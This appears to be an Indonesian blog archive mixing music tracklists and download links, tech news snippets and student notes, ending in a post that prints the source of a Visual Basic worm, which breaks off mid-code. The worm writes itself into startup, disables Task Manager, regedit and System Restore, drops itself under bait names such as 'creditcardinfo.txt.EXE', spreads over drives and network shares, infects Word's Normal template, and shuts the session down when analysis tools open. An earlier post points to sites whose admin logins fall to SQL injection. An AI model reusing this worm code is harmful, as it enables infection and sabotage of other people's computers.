F.I.B FIRE CRACKER

F.I.B 『FIRE CRACKER』 2012.09.26

FIRE CRACKER
F.I.B
(2012.09.26)

01. Intro
02. Cast Off Your Tinsel Lie
03. The Brilliant Future
04. Story
05. Trip
06. Burn Down
07. I’ll Stay By Your Side
08. So We Can Claim
09. Answer
10. Do It More Fool
11. Get Back
12. Strings
13. Beginning Sign
14. For All Time

TOTALFAT - Wicked and Naked lyric

download

http://www.mediafire.com/?k315ak4bzhh7bmb

goodbye tony sly

LOS ANGELES- Kabar duka datang dari band punk asal Amerika, No Use For a Name. Sang vokalis, Tony Sly, meninggal dunia di usia 41 tahun pada 31 Juli 2012 kemarin.

Kabar kematian vokalis band yang berdiri sejak 1989 itu diumumkan langsung oleh label Fat Wreck Chord. Belum jelas apa penyebab meninggalnya vokalis pelantun "Why Doesn't Anybody Like Me" itu. Namun, penyakit di tulang belakang leher yang sudah lama dia derita diduga menjadi penyebab kematiannya.

"Dengan rasa sedih yang sangat besar, kita harus mengucapkan selamat tinggal pada Tony Sly No Use For A Name," tulis pengumuman tersebut, seperti dikutip Eonline, Kamis (2/8/2012).

Ucapan duka langsung diucapkan sejumlah musisi lewat akun Twitter-nya. Sebut saja band The Offspring, Bad Religion, Yellowcard. Mereka sangat kehilangan sosok Tony yang dianggap berpengaruh bagi musik punk rock dunia.

"Selamat tinggal untuk teman baik, Tony Sly," ujar akun resmi milik band senior Bad Religion.

"Tony Sly, Anda menulis beberapa lagu yang kuat. Ketika kami baru saja mulai karier, Anda dengan murah hati membiarkan kami masuk ke dalam hotelmu. Tetap pria berhati emas," tulis akun Twitter band The Ataris.


sumber 
http://celebrity.okezone.com/read/2012/08/02/532/672364/vokalis-no-use-for-a-name-meninggal-dunia

nilai B

setiap hari posting cuma dapet nilai B yah nasib

FAT PROP 『SHINE』

SHINE
FAT PROP
(2012.07.04)




01. SHINE
02. Sing On Through The Life
03. I'm Free
04. Marilyn
05. Song For You

Cyborg R.A.T Mouse Untuk Para Gamers

Perkembangan Teknologi saat ini membuat saya kagum dengan berbagai produk yang di edarkan dengan mendukung teknologi yang canggih. Khususnya dalam Perkembangan Mouse, kita tahu bahwa Douglas Angelbart, dilahirkan pada tahun 1925, di Oregon, Dimana beliau dibesarkan disebuah peternakan kecil. Tahun 1942 ia lulus sekolah menengah dan pergi ke Oregon State University untuk belajar elektronik . Beliau menciptakan Mouse pertamakali menggunakan media kayu untuk casisnya.

Panduan WEB Google (Google's Guide to the Web)

kali ini saya akan berbagi Informasi mengenai salah satu aplikasi buatan google. Aplikasi ini didedikasikan khusus buat kita yang ingin mengetahui hal-hal yang berhubungan dengan dunia maya, contohnya Apa yang dimaksud dengan Internet, IP Address, HTML 5, JavaScript-CSS-HTML, Malware-Phishing dan masih banyak lagi. Semua dibahas dengan bahasa sederhana dan di ilustrasikan dalam kehidupan nyata.

Judul dari buku tersebut adalah “20 Things I Learned About Browsers and the Web” 

Dilihat dari judulnya tim google chrome selaku pembuat aplikasi buku online ini masih membuatnya dalam bahasa inggris, namun demikian kita masih bisa menggunakan aplikasi google terjemahan untuk menerjemahkannya, bukan begitu sob?.

Robot Pengintai Modern

Image From : http://bostondynamics.com

Sand Flea adalah robot pengintai berteknologi canggih yang di ciptakan untuk membantu dan mempersenjatai para tentara Amerika Serikat guna memperoleh informasi tentang musuh. Sekilas robot ini tampak seperti mainan biasa namun sobat pasti akan tercengang dengan aksi dan kemampuan yang dimiliki oleh robot ini.

Sistem Operasi Android

Anda tahu Android ? Kata Android di sini bukannya robot yang ada di film-film fiksi ilmiah, tetapi merupakan sistem operasi yang berbasis Linux untuk perangkat mobile seperti smartphone/ponsel pintar dan tablet.

MUNGGAHAN

-Underpressure
-Burn after play
-sindikat
-bfdf
-mk
-scaremonger
-eat well earl
-kids on radio
-the bon and the don
-idzhar
-fatlip
-skaltural
-my private party
-ntd
-maria married

"MUNGGAHAN"
SATURDAY, 14th 2012
at' dimana tertawa itu gratis "GREAT STUDIO"
jl.Purwakarta no.216 Antapani
6pm-10pm
FREE ENTRANCE !!

iPad Generasi Ke 3

Apakah kalian pengguna iPad ? Ada kabar gembira bagi produk keluaran Apple itu. Mau tahu ? Silahkan dibaca lanjutannya....

Yottabyte - Ukuran Harddisk Terbesar

Halah sudah seminggu belum posting, selain cape kerja, bawaannya, pulang ke rumah ngantuk mulu....:( Baiklah, saya coba semangat lagi. Kali ini saya akan membahas tentang ukuran harddisk terbesar untuk saat ini (walaupun belum diproduksi secara massal).

Windows 8 Tidak Mendukung Pemutar DVD

Ada kabar nih kalau di sistem operasi Windows 8 tidak akan mendukung aplikasi pemutar DVD dan Media Center tidak akan ditemui lagi. Lho, lalu bagaimana ya caranya agar kita dapat memutar film di PC ? Memang sih banyak sekali software-software fihak ketiga yang bisa diinstall di OS ini. Cuma menurut saya, ya sayang aja, kenapa dulu bisa ada, sekarang fitur tersebut malah dihilangkan ? Informasinya bagi pengguna yang ingin memainkan jenis file DVD atau mungkin file-file tertentu, harus membayar paket upgrade.

Peluncuran Tablet Amazon Kindle Fire 10,1 Inci

Mungkin sekarang adalah zamannya tablet. Selama ini kita tahu beberapa jenis komputer, misalnya desktop, notebook dan netbook. Di era "touch screen" ini, orang tidak akan kesulitan mencari gadget yang memenuhi kualifikasi tersebut. Hanya dengan tablet, hampir semua pekerjaan yang selama ini membutuhkan satu unit komputer, bisa dikerjakan dengan alat ini. Keuntungan lain dari kepemilikan tablet ini adalah mobilitas. Orang bisa menggunakan tablet di mana saja, tanpa harus terkiat dengan ruang tertentu seperti halnya penggunaan desktop.

CodeIgniter Framework PHP

CodeIgniter adalah aplikasi open source yang berupa framework dengan model MVC (Model, View, Controller) untuk membangun website dinamis dengan menggunakan PHP. CodeIgniter memudahkan developer untuk membuat aplikasi web dengan cepat dan mudah dibandingkan dengan membuatnya dari awal. CodeIgniter dirilis pertama kali pada 28 Februari 2006. Versi terakhir adalah 1.7.2 dapat dilihat di website resminya (ada dibagian akhir tulisan ini).

Kecangihan Teknologi Yang Di Manfaatkan Dalam Dunia Pendidikan

Sebuah tablet PC memiliki fungsi yang serbaguna, lebih dari sekedar perangkat untuk menikmati konten hiburan. Sekarang Samsung Galaxy Tab telah siap untuk berperan penting dalam membuat sistem "Smart School" di sekolah-sekolah umum di Korea.

Kecangihan Teknologi iPhone 5

Ini merupakan salahsatu dari Kecangihan teknologi iphone 5 Anda lihat, spekulasi telah mengambang sekitar apakah next-gen iPhone akan termasuk konektivitas 3GS dan membiarkan desain seperti atau datang dengan perangkat keras yang revolusioner didukung oleh OS yang baru. Dan dilihat dari layar ini meraih baru-baru ini diposting, kita mungkin tahu jawabannya.

PENGARUH PERKEMBANGAN TEKNOLOGI INFORMASI TERHADAP BIDANG AKUNTANSI MANAJEMEN

Dalam era bisnis global, pengaruh kemajuan teknologi informasi tidak dapat
dihindarkan lagi, seperti penggunaan telepon, faksimili, komputer, dan satelit dalam berbagai aktivitas sarana berkomunikasi perusahaan. Teknologi informasi memungkinkan manusia untuk memperoleh informasi dari tempat yang berjauhan dalam waktu yang singkat dan dengan biaya yang murah.

PERKEMBANGAN TEKNOLOGI ERA SEKARANG

• Keberhasilan penerapan teknologi fuzzy seperti yang telah dibeberkan pada bagian pembahasan sebelumnya, dapat direalisasikan jika terdapat penelitian dan strategi pengembangan riset dan desain oleh sebuah industri untuk menemukan teknik terbaik untuk produknya. Hal tersebut tentunya tidak terlepas dari kesulitan-kesulitan yang ditemui dalam menggunakan dan pengembangan teknologi ini. Secara garis besar beberapa kesulitan yang ditemui oleh industri-industri elektronika adalah sebagai berikut (4):
• Para enjiner dan ilmuwan generasi sebelumnya dan sekarang banyak yang tidak mengenal teori kendali fuzzy, meskipun secara teknik praktis mereka memiliki pengalaman untuk menggunakan teknologi dan perkakas kontrol yang sudah ada.

HYPOCHONDRIAC AT CIAMIS 24 JUNI

NEXT GIGS AT CIAMIS 24 JUNE SEKARANG
SABEULIT BUMI PRODUCTION PRESENT
CIAMIS NGARIUNG SAGALUR
24 JUNE 2012 AT GOR GELANGGANG GALUH TARUNA (CIAMIS)
-VOMITING-
* HYPOCHONDRIAC (BANDUNG)
* SIDJIL (BANDUNG)
* SUFFERING OF DEATH (BANDUNG)
* FATAL OF HATE
* DEFORMATION
* GENITAL DISEASE
* PITBULL ATTACK,AND MANY MORE

HTM : 15.000

SUPPORT BY :
* FRIENDS FOREVER DENIM
* UPUY CAFE
* RAFLESIA HELL PARK

 

Tugas RO dulu ah!!

RISET OPRASIONAL !!! wow

tugas openGL

terimakasih kawan !!!

coding nyusul

L'Arc~en~Ciel TRIBUTE

Tracklist:
1. Vince Neil / Blurry Eyes
2. Orianthi / NEO UNIVERSE
3. TLC / RAINBOW ( Niji)
4. Eric Martin, JOHN 5 / HONEY
5. ZEBRAHEAD / READY STEADY GO
6. BOYZ II MEN / snow drop
7. Maxi Priest / Vivid Colors
8. Michael Monroe / HEAVEN’S DRIVE
9. Daniel Powter / STAY AWAY
10. Clémentine / flower
11. POLYSICS / SEVENTH HEAVEN
12. SID / Shout at the Devil
13. Hemenway / Caress of Venus
14. TOTALFAT / Driver’s High




                                                                              Download
                                                        deposit ::: 4shared ::: mediafire ::: EDOC
                                                                       Password = alvinsc
Credits: alvinsc, jrokku

tugas ADSI nih yang terstruktur

tugas ADSI nih yang terstruktur
mengenalisi sistem parkir
download

Website Yang Celah Keamanannya Fatal

contoh website yang masih memiliki celah keamanan yang fatal pada form login administrator nya. Cukup dengan SQL Injection kita bisa masuk sebagai admin.

website 1

website 2

website 3

Pencegahan untuk celah keamanan SQL Injection pada form login, bisa dengan merubah algoritma untuk username dan password atau bisa juga dengan menambahkan skrip untuk melakukan enkripsi pada password.

sumber :

http://lutfiazharblog.blogspot.com/2012/06/website-yang-masih-memiliki-celah.html#more

wireshark sebagai packet snifing jaringan

Wireshark merupakan software untuk melakukan analisa lalu-lintas jaringan komputer,

yang memiliki fungsi-fungsi yang amat berguna bagi profesional jaringan, administrator jaringan, peneliti, hingga pengembang piranti lunak jaringan. Wireshark dapat membaca data secara langsung dari Ethernet, Token-Ring, FDDI, serial (PPP and SLIP), 802.11 wireless LAN , dan koneksi ATM.

Nmap (Network Mapper) sebagai packet snifing jaringan

Nmap (Network Mapper) adalah sebuah program open source yang berguna untuk mengesksplorasi jaringan. Nmap didesain untuk dapat melakukan scan jaringan yang besar, juga dapat digunakan untuk melakukan scan host tunggal. Nmap menggunakan paket IP untuk menentukan host-host yang aktif dalam suatu jaringan, port-port yang terbuka, sistem operasi yang dipunyai, tipe firewall yang dipakai, dll. Keunggulan-keunggulan yang dimiliki oleh Nmap:

• Powerful Nmap dapat digunakan untuk men-scan jaringan yang besar

• Portable Nmap dapat berjalan di berbagai macam sistem operasi seperti Linux, Windows,

FreeBSD, OpenBSD, Solaris, dll

• Mudah untuk digunakan

• Free

• Mempunyai dokumentasi yang baik

Pendiri detik.com

Detik.com ialah sebuah portal web yang berisi berita aktual dan artikel daring di Indonesia. Detik.com merupakan salah satu situs berita terpopuler di Indonesia. Berbeda dari situs-situs berita berbahasa Indonesia lainnya, detikcom hanya mempunyai edisi daring dan menggantungkan pendapatan dari bidang iklan. Meskipun begitu, detikcom merupakan yang terdepan dalam hal berita-berita baru (breaking news). Sejak tanggal 3 Agustus 2011, detikcom menjadi bagian dari PT Trans Corporation, salah satu anak perusahaan CT Corp.

tugas, tugas dan tugas !!!

tugas satu belum selesai sudah ada tugas lainnya terus tugas lainya lagi di kerjain datang lagi tugas yang baru dan begitulah seterusnya sampai keluar kuliah semangat!!!

TOTALFAT - Wicked and Naked [2012.07.04]

TOTALFAT - Wicked and Naked [2012.07.04]

tracklist (both regular and limited edition):
1. ROCKERS IN DA HOUSE!!
2. Place to Try
3. X-stream
4. PARTY PARTY
5. Just Say Your Word
6. Highway Mark4
7. We Rise Again
8. Echoes Inside My Memories
9. Friend Never Sucks
10. Fat or Die
11. Good Bye, Good Luck
12. The Naked Journey

DOWNLOAD

(file m4a) 

upload by Arsis Baruna Wiwaha

6% is MINE - IDOLTIC PUNK-COVERS

6% is MINE - IDOLTIC PUNK-COVERS



tracklist


1. 赤いスイートピー
2. バレンタイン・キッス
3. うしろゆびさされ組
4. SECRET BASE ~君がくれたもの~
5. 私がオバさんになっても
6. 桃色片想い
7. セーラー服を脱がさないで
8. サウスポー
9. 初日

download (belum ada)




6% is MINE - SECRET BASE

6% is MINE - BEST-MIX PUNK-COVERS ~ Mixed by DJ YOU-G ~

tracklist

1. INTRO MEGA-MIX
2. Good-bye days
3. シングルベッド
4. どんなときも。
5. トイレの神様
6. それが大事
7. LOVE LOVE LOVE
8. 瞳をとじて
9. My Revolution
10. 手紙~拝啓十五の君へ~
11. ラブ・ストーリーは突然に
12. 少年時代～feat.TIM from BIRD-FLU～
13. Hello,Again ~昔からある場所~
14. ONE MORE TIME,ONE MORE CHANCE
15. 桜
16. LA・LA・LA LOVE SONG
17. TOMORROW
18. ZOO
19. TRUE LOVE
20. Everything

download

Sandy Beach Surf Coaster「Fun ! Fan ! Cover !!」

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Sandy Beach Surf Coaster - ENDLESS SUMMER ~ Independent Best ~

tracklist


1. S.O.S
2. NEW STORY
3. SNOW FLAKES
4. TIME
5. _SUMMER'S GONE
6. PRIVATE BEACH
7. BE STRONG
8. HANABI
9. RE-TRY
10. I'M NOT PERFECT
11. MY FLIGHT
12. Daydreaming

download (belum ada)


Sandy Beach Surf Coaster / S.O.S

banyak tugas

lagi bnyak tugas nih semangat !!!

SAY MY NAME. 『JUST OK!!!』

01. At A Risk　　
02. New Dawn　
03. Turning
04. Mind Scope
05. Just OK
06. Freedom
07. Feedback My Oneday
08. Bedroom Magic
09. No Tribe
10. By My Life

knotlamp 『Bridges We've Dreamed』

tracklist


01. Blaze drops
02. Holy moments
03. Oblivion color
04. New dawn
05. Siren
06. Beautiful days

download

Fat Prop – Brand New World

Tracklist:
01. Drive
02. Stop The Time
03. Shade
04. Can’t Stop The Music
05. Feelin’Pop
06. Brand New Morning
07. I Don’t Care About You
08. Well, Well, Well
09. Reach
10. Hi
11. Dream Continue
12. Hello

download

SPACE BOYS - Barnard's Loop

Tracklist


1. Never Repeat
2. Angelina
3. Same At The Start
4. Sometime
5. Worry
6. Go Your Way
7. Yesterday's Me
8. Turn To Me
9. Turning Point
10. Another World
11. Rain
12. Reality And Hope
13. Keep On Dreaming 


download

NOFX - Thalidomide Child 7" (2012)

NOFX - Thalidomide Child 7" (2012)

01. Ant Attack
02. Righteous Cause
03. Rafters
04. Bang Gang
05. Thalidomide Child
06. My Friends
07. Breakdown
08. NOFX

download

Komputer High-Definition

TEKNOLOGI high definition (HD), kini menjadi tren di industri teknologi. Setelah televisi, kini komputer pun memakai teknologi tersebut. 

Kini teknologi HD mampu menghubungkan dengan monitor PC pengguna yang disebut ATI Eyefinity. Sebuah multi display teknologi untuk bermain game, produktivitas, dan hiburan. 

knotlamp 『Across my world』

Across my world
knotlamp
(2012.06.06)


playlist :
01. Across my world
02. Unbeaten path
03. Back to Zero
04. 時の行方 -meets classic-




sumber :
http://blog.livedoor.jp/naoya_708_s/archives/6288563.html

Source Code Virus Worm dengan Visual Basic

'---------------------------------------------------------------- ' CSW : CyberSufi Worm ' M3R : Megatruh variant 3 Reincarnation ' (2006)CopyLeft, Cybesufi, Tri Amperiyanto, Java, Indonesia ' email : megatruh@hotmail.com ' For educational purposes only ! ' Evil is not aim but fulfill perfectness ! '---------------------------------------------------------------- Private Const EWX_LOGOFF = 0 Private Const EWX_SHUTDOWN = 1 Private Const EWX_REBOOT = 2 Private Const EWX_FORCE = 4 Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Dim pict As Picture Dim a As Integer Private Declare Function BitBlt _ Lib "gdi32" ( _ ByVal hDestDC As Long, _ ByVal X As Long, ByVal Y As Long, _ ByVal nWidth As Long, _ ByVal nHeight As Long, _ ByVal hSrcDC As Long, _ ByVal XSrc As Long, ByVal YSrc As Long, _ ByVal dwRop As Long _ ) As Long Private Declare Function GetDesktopWindow _ Lib "user32" () As Long Private Declare Function GetDC _ Lib "user32" ( _ ByVal hwnd As Long _ ) As Long Private Declare Function ReleaseDC _ Lib "user32" ( _ ByVal hwnd As Long, _ ByVal hdc As Long _ ) As Long Private Const SWP_NOSIZE = &H1 Private Const SWP_NOMOVE = &H2 Private Const SWP_NOZORDER = &H4 Private Const SWP_NOREDRAW = &H8 Private Const SWP_NOACTIVATE = &H10 Private Const SWP_FRAMECHANGED = &H20 Private Const SWP_SHOWWINDOW = &H40 Private Const SWP_HIDEWINDOW = &H80 Private Const SWP_NOCOPYBITS = &H100 Private Const SWP_NOOWNERZORDER = &H200 Private Const SWP_DRAWFRAME = SWP_FRAMECHANGED Private Const SWP_NOREPOSITION = SWP_NOOWNERZORDER Private Const HWND_TOP = 0 Private Const HWND_BOTTOM = 1 Private Const HWND_TOPMOST = -1 Private Const HWND_NOTOPMOST = -2 Private Declare Function SetWindowPos _ Lib "user32" ( _ ByVal hwnd As Long, _ ByVal hwndInsertAfter As Long, _ ByVal X As Long, _ ByVal Y As Long, _ ByVal CX As Long, _ ByVal CY As Long, _ ByVal wFlags As Long _ ) As Long Private mbOnTop As Boolean Private Property Let OnTop(Setting As Boolean) If Setting Then SetWindowPos hwnd, HWND_TOPMOST, _ 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE Else SetWindowPos hwnd, HWND_NOTOPMOST, _ 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE End If mbOnTop = Setting End Property Private Property Get OnTop() As Boolean OnTop = mbOnTop End Property Private Sub Form_Load() On Error Resume Next Dim drives Dim regrun Dim xx Dim X Dim Y Dim z Dim zz Dim fso '--- App.TaskVisible = False '=== Set regrun = CreateObject("Wscript.shell") regrun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Stask", "c:\csw.exe" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoRun", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableRegistryTools", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", 1, "REG_DWORD" '= X = App.path & "\" & App.EXEName & ".exe" Y = "c:\WINDOWS\creditcardinfo.txt.EXE" z = "c:\ccinfo.EXE" zz = "c:\csw.exe" zzz = "c:\readme.txt" zzzz = "c:\windows\readme.txt" zzzzz = "c:\windows\system32\readme.txt" mark = "c:\version.sys" CopyFile X, Y, 0 CopyFile X, z, 0 CopyFile X, zz, 0 CopyFile X, zzz, 0 CopyFile X, zzzz, 0 CopyFile X, zzzzz, 0 '= If Dir("c:\version.sys") = "" Then Set fso = CreateObject("scripting.filesystemobject") Set drives = fso.drives For Each Drive In drives If Drive.isready Then CopyFile X, mark, 0 Dosearch (Drive & "\") End If Next End If Timer1.Enabled = True Timer2.Enabled = True Timer3.Enabled = True Timer4.Enabled = True Timer5.Enabled = True Call NetSpread Call Main End Sub '= Function Dosearch(path) On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set folder = fso.getfolder(path) Set Files = folder.Files For Each file In Files '= If LCase(fso.GetExtensionName(file.path)) = "doc" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "sys" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "dll" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "jpg" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "bmp" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "mp3" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If On Error Resume Next Next Set Subfolders = folder.Subfolders For Each Subfolder In Subfolders Dosearch Subfolder.path Next End Function Sub NetSpread() On Error Resume Next Set Network = CreateObject("WScript.Network") Set Shares = Network.EnumNetworkDrives If Shares.Count > 0 Then Set fso = CreateObject("Scripting.FileSystemObject") For Counter1 = 0 To Shares.Count - 1 If Shares.Item(Counter1) <> "" Then fso.getFile(wscript.ScriptFullName).Copy ("kamasutra.txt.exe") Dosearch (Shares.Item(Counter1)) End If Next Set fso = Nothing End If Set Shares = Nothing Set Network = Nothing End Sub '= Sub Main() On Error Resume Next Dim zz, zz1, file, fso, oword, nt, b, i, iw, attr zz1 = App.path & "\" & App.EXEName & ".exe" file = "c:\csw.exe" file2 = "c:\windows\readme.txt.exe" file3 = "c:\windows\ccinfo.exe" CopyFile zz1, file, 0 CopyFile zz1, file2, 0 CopyFile zz1, file3, 0 On Error Resume Next Open "c:\v.reg" For Output As 2 Print #2, "REGEDIT4" Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]" Print #2, """Level""=dword:00000001" Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]" Print #2, """Level""=dword:00000001" Close 2 Shell "regedit /s c:\v.reg", vbHide Kill "c:\v.reg" On Error Resume Next Open "c:\vv.reg" For Output As 5 Print #5, "Windows Registry Editor Version 5.00" Print #5, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]" Print #5, """Level""=dword:00000001" Print #5, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]" Print #5, """Level""=dword:00000001" Close 5 Shell "regedit /s c:\vv.reg", vbHide Kill "c:\vv.reg" On Error Resume Next If Dir("c:\m3r.sys") <> "m3r.sys" Then Open "c:\m3r.sys" For Output As 9 Print #9, "Sub document_close()" Print #9, "On Error Resume Next" Print #9, "Open ""c:\m3r.txt"" For Output As 2" Print #9, "Print #2, ""sub document_open()""" Print #9, "Print #2, ""On Error Resume Next""" Print #9, "Print #2, ""'by M3:Reincarnation""" Print #9, "Print #2, ""obj = ActiveDocument.Shapes(1).OLEFormat.ClassType""" Print #9, "Print #2, ""With ActiveDocument.Shapes(1).OLEFormat""" Print #9, "Print #2, "" .ActivateAs ClassType:=obj""" Print #9, "Print #2, "" .Activate""" Print #9, "Print #2, ""End With""" Print #9, "Print #2, ""end sub""" Print #9, "Close 2" Print #9, "Set fso = CreateObject(""Scripting.FileSystemObject"")" Print #9, "Set nt = ActiveDocument.VBProject.vbcomponents(1).codemodule" Print #9, "Set iw = fso.OpenTextFile(""c:\m3r.txt"", 1, True)" Print #9, "nt.DeleteLines 1, nt.CountOfLines" Print #9, "i = 1" Print #9, "Do While iw.atendofstream <> True" Print #9, "b = iw.readline" Print #9, "nt.InsertLines i, b" Print #9, "i = i + 1" Print #9, "Loop" Print #9, "ActiveDocument.Shapes.AddOLEObject _" Print #9, "FileName:=""c:\csw.exe"", _" Print #9, "LinkToFile:=False" Print #9, "ActiveDocument.Save" Print #9, "Open ""c:\vv.reg"" For Output As 3" Print #9, "Print #3, ""REGEDIT4""" Print #9, "Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]""" Print #9, "Print #3, """"""Level""""=dword:00000001""" Print #9, "Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]""" Print #9, "Print #3, """"""Level""""=dword:00000001""" Print #9, "Close 3" Print #9, "Shell ""regedit /s c:\vv.reg"", vbHide" Print #9, "Kill ""c:\vv.reg""" Print #9, "Open ""c:\vvv.reg"" For Output As 4" Print #9, "Print #4, ""Windows Registry Editor Version 5.00""" Print #9, "Print #4, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]""" Print #9, "Print #4, """"""Level""""=dword:00000001""" Print #9, "Print #4, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]""" Print #9, "Print #4, """"""Level""""=dword:00000001""" Print #9, "Close 4" Print #9, "Shell ""regedit /s c:\vvv.reg"", vbHide" Print #9, "Kill ""c:\vvv.reg""" Print #9, "End Sub" Close 9 On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set oword = CreateObject("Word.Application") oword.Visible = False Set nt = oword.NormalTemplate.vbproject.vbcomponents(1).codemodule Set iw = fso.OpenTextFile("c:\m3r.sys", 1, True) nt.DeleteLines 1, nt.CountOfLines i = 1 Do While iw.atendofstream <> True b = iw.readline nt.InsertLines i, b i = i + 1 Loop On Error Resume Next oword.NormalTemplate.Save SetAttr oword.NormalTemplate.Fullname, vbReadOnly oword.NormalTemplate.Close Set oword = Nothing End If End Sub '= Private Sub Timer1_Timer() On Error Resume Next CopyFile "c:\readme.txt", "c:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "d:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "e:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "f:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "g:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "h:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "i:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "j:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "k:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next Call NetSpread End Sub '= Private Sub Timer2_Timer() On Error Resume Next Dim strClassName As String Dim strCaption As String strClassName = "#32770" strCaption = "System Configuration Utility" If FindWindow(strClassName, strCaption) <> 0 Then lngResult = ExitWindowsEx(4, &H0) End If strClassName = "RegEdit_RegEdit" strCaption = "Registry Editor" If FindWindow(strClassName, strCaption) <> 0 Then lngResult = ExitWindowsEx(4, &H0) End If strClassName = "#32770" strCaption = "Windows Task Manager" If FindWindow(strClassName, strCaption) <> 0 Then lngResult = ExitWindowsEx(4, &H0) End If strClassName = "ThunderRT6Main" strCaption = "HijackThis" If FindWindow(strClassName, strCaption) <> 0 Then On Error Resume Next Set regrun = CreateObject("Wscript.shell") regrun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecureBoot", 3, "REG_DWORD" lngResult = ExitWindowsEx(4, &H0) End If On Error Resume Next X = App.path & "\" & App.EXEName & ".exe" Y = "c:\WINDOWS\msginax.dll" z = "c:\ccinfo.EXE" zz = "c:\csw.exe" zzz = "c:\readme.txt" zzzz = "c:\windows\readme.txt" zzzzz = "c:\windows\system32\readme.txt" CopyFile X, Y, 0 CopyFile X, z, 0 CopyFile X, zz, 0 CopyFile X, zzz, 0 CopyFile X, zzzz, 0 CopyFile X, zzzzz, 0 On Error Resume Next X = "c:\windows\system32\readme.txt" Y = "c:\WINDOWS\msginax.dll" z = "c:\ccinfo.EXE" zz = "c:\csw.exe" zzz = "c:\readme.txt" zzzz = "c:\windows\readme.txt" CopyFile X, Y, 0 CopyFile X, z, 0 CopyFile X, zz, 0 CopyFile X, zzz, 0 CopyFile X, zzzz, 0 On Error Resume Next X = "c:\readme.txt" Y = "c:\WINDOWS\msginax.dll" z = "c:\ccinfo.EXE" zz = "c:\csw.exe" zzz = "c:\readme.txt" zzzz = "c:\windows\system32\readme.txt" CopyFile X, Y, 0 CopyFile X, z, 0 CopyFile X, zz, 0 CopyFile X, zzz, 0 CopyFile X, zzzz, 0 '= On Error Resume Next Set regrun = CreateObject("Wscript.shell") regrun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Stask", "c:\csw.exe" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoRun", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows 